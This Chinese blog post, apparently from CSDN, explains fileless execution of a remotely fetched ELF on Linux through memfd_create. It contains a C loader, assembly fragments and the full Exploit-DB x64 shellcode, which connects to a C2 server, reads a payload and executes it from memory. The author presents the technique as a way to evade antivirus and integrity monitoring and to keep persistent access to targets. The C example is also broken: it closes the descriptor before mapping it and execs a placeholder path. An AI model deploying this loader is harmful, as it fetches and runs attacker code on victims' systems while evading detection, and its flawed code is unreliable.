Linux 在内存中不接触磁盘远程加载并执行ELF(可执行和链接格式)文件

在Linux环境下使用C语言完成上述任务需要涉及到以下几个步骤:

  1. 从socket读取ELF数据
  2. 将ELF数据映射到内存中
  3. 使用memfd_create()创建文件描述符,将ELF数据写入到创建的文件描述符
  4. 使用execve(),从/proc/self/fd/执行ELF数据

下面是一个简单的示例代码,它涵盖了上述的步骤:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <elf.h>
#include <linux/memfd.h>
#include <unistd.h>

#define SIZE 4096

int main() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == -1) {
        printf("Could not create socket");
        return 1;
    }
    struct sockaddr_in server;
    server.sin_addr.s_addr = inet_addr("127.0.0.1"); // replace with your server IP address
    server.sin_family = AF_INET;
    server.sin_port = htons(8080); // replace with your server port number
    if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
        perror("connect failed. Error");
        return 1;
    }

    char buffer[SIZE];
    int total_read = 0;
    int read_size;
    while ((read_size = read(sock, buffer + total_read, SIZE - total_read)) > 0) {
        total_read += read_size;
    }
    if (total_read <= 0) {
        perror("read failed. Error");
        return 1;
    }

    int fd = memfd_create("elf_data", MFD_CLOEXEC | MFD_ALLOW_SEALING);
    if (fd == -1) {
        perror("memfd_create failed. Error");
        return 1;
    }
    if (write(fd, buffer, total_read) != total_read) {
        perror("write failed. Error");
        return 1;
    }
    if (ftruncate(fd, total_read) == -1) {
        perror("ftruncate failed. Error");
        return 1;
    }
    close(fd);

    void* addr = mmap(NULL, total_read, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0);
    if (addr == MAP_FAILED) {
        perror("mmap failed. Error");
        return 1;
    }
    close(fd);
    char* args[] = {(char*)addr, NULL}; // Assume the ELF data is a program that takes no arguments. Adjust as needed.
    execve("/proc/self/fd/<fd>", args, NULL); // Replace <fd> with the actual file descriptor number. It should be the same as 'fd' in this example. But better to use the actual fd number for robustness. 
    perror("execve failed. Error"); // This should only be reached if execve() returns an error. In that case, you might want to munmap() the memory and exit(). 
    munmap(addr, total_read); // Unmap the memory if execve() fails. 
    return 0; // Control should never reach here if execve() is successful. 
}

这个代码示例做了以下事情:

  1. 创建一个socket并连接到服务器。在这个示例中,我们假设服务器运行在本地(IP地址为127.0.0.1),并且监听在8080端口。实际应用中,你需要替换成你的服务器的实际IP地址和端口号。如果连接失败,程序将打印错误信息并返回1。
  2. 从socket中读取ELF数据。这里假设ELF数据以4096字节的块进行传输,可以根据实际情况调整这个值。同时,这个示例没有处理ELF数据的完整性和校验,实际应用中需要确保数据的完整性。如果读取失败,程序将打印错误信息并返回1。
  3. 使用memfd_create()创建一个文件描述符,并将读取的ELF数据写入到这个文件描述符。然后使用ftruncate()设置文件大小。这里假设ELF
  4. 使用mmap()将ELF数据映射到内存中。这里假设ELF数据是一个可执行文件,不需要传入任何参数。如果ELF数据是一个复杂的程序或脚本,可能需要一个更复杂的执行策略。然后使用execve(),从/proc/self/fd/执行ELF数据。注意,你需要将替换为实际的文件描述符号码,例如10。在成功执行后,程序应该返回0,并将控制权交还给操作系统。

接下来翻译为shellcode:
第一步是设置用于进一步通信的套接字:

push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall

然后连接到我们的服务器:

xchg rdi, rax
movabs rcx, C2_addr
push rcx
mov rsi, rsp
push 0x10
pop rdx
push 0x2a
pop rax
syscall

memfd_create系统调用:

xor rax, rax
push rax
push rsp
sub rsp, 8
mov rdi, rsp
push 0x13f
pop rax
xor rsi, rsi
syscall

连接/proc/self/fd/和我们的文件描述符

add rsp, 16
mov qword ptr [rsp], 0x6f72702f
mov qword ptr [rsp+4], 0x65732f63
mov qword ptr [rsp+8], 0x662f666c
mov qword ptr [rsp+12], 0x002f64

使用execve执行我们的文件描述符:

lea rdi, [rsp]
push 0x3b
pop rax
cdq
push rdx
push rdi
mov rsi, rsp
syscall

在进行渗透测试时,Linux中ELF文件的无文件加载是一种有用的技术。这是一种相当安静的方式,可以抵御各种防病毒保护、控制系统完整性和监控内容更改硬盘的监控系统。这样,访问目标可以很容易地维护系统,留下最少的痕迹。

完整的shellcode如下:
原文地址:https://www.exploit-db.com/shellcodes/51693

# Shellcode Title: Linux/x64 - memfd_create ELF loader (170 bytes)
# Shellcode Author: Ivan Nikolsky (enty8080) & Tomas Globis (tomasglgg)
# Tested on: Linux (x86_64)
# Shellcode Description: This shellcode attempts to establish reverse TCP connection, reads ELF length, reads ELF and maps it into the memory, creates memory file descriptor, writes loaded ELF to it and executes. This shellcode can be used for fileless ELF execution, because no data is writted to disk
# Blog post: https://blog.entysec.com/2023-04-02-remote-elf-loading/
# Original code: https://github.com/EntySec/Pawn

section .text
global _start

_start:
    ; Set up socket for further communication with C2
    ;
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    push 0x29
    pop  rax
    cdq
    push 0x2
    pop  rdi
    push 0x1
    pop  rsi
    syscall

    ; Connect to the C2 server
    ;
    ; int connect(int sockfd, {
    ;                 sa_family=AF_INET,
    ;                 sin_port=htons(8888),
    ;                 sin_addr=inet_addr("127.0.0.1")
    ;             }, 16);

    xchg rdi, rax
    mov  rcx, 0x0100007fb8220002
    push rcx
    mov  rsi, rsp
    push 0x10
    pop  rdx
    push 0x2a
    pop  rax
    syscall

    ; Read ELF length from socket
    ;
    ; read(unsigned int fd, char *buf, 8);

    pop  rcx
    push 0x8
    pop  rdx
    push 0x0
    lea  rsi, [rsp]
    xor  rax, rax
    syscall

    ; Save length to r12 and socket descriptor to r13

    pop  r12
    push rdi
    pop  r13

    ; Create file descriptor for ELF file
    ;
    ; int memfd_create("", 0);

    xor  rax, rax
    push rax
    push rsp
    sub  rsp, 8
    mov  rdi, rsp
    push 0x13f
    pop  rax
    xor  rsi, rsi
    syscall

    ; Save file descriptor to r14

    push rax
    pop  r14

    ; Allocate memory space for ELF file
    ;
    ; void *mmap(NULL, size_t count,
    ;            PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

    push 0x9
    pop  rax
    xor  rdi, rdi
    push r12
    pop  rsi
    push 0x7
    pop  rdx
    xor  r9, r9
    push 0x22
    pop  r10
    syscall

    ; Save address to the allocated memory space to r15

    push rax
    pop  r15

    ; Read ELF file from socket
    ;
    ; recvfrom(int sockfd, void *buf, size_t count, MSG_WAITALL, NULL, 0);

    push 0x2d
    pop  rax
    push r13
    pop  rdi
    push r15
    pop  rsi
    push r12
    pop  rdx
    push 0x100
    pop  r10
    syscall

    ; Write read ELF file data to the file descriptor
    ;
    ; size_t write(unsigned int fd, const char *buf, size_t count);

    push 0x1
    pop  rax
    push r14
    pop  rdi
    push r12
    pop  rdx
    syscall

    ; Execute ELF from file descriptor
    ;
    ; int execveat(int dfd, const char *filename,
    ;              const char *const *argv,
    ;              const char *const *envp,
    ;              int flags);

    push 0x142
    pop  rax
    push r14
    pop  rdi
    push rsp
    sub  rsp, 8
    mov  rsi, rsp
    xor  r10, r10
    xor  rdx, rdx
    push 0x1000
    pop  r8
    syscall
            

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值